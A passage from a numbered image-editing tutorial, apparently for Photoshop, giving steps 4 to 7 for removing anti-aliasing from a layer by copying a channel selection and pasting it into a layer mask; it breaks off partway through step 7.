4 now select everything in that channel (Ctrl+A) and Ctrl+C (copy) and then go to Layers tab again,
5 click on that layer in Layers tab which we wanted to remove the anti-alias from and at the bottom there is an Add Layer Mask button
6 now Alt+click on that new icon we got in the layer we want to mask/remove anti-alias from (screen should go all white or black now, that's ok) and Ctrl+V the selection from before
7 you can now right click on th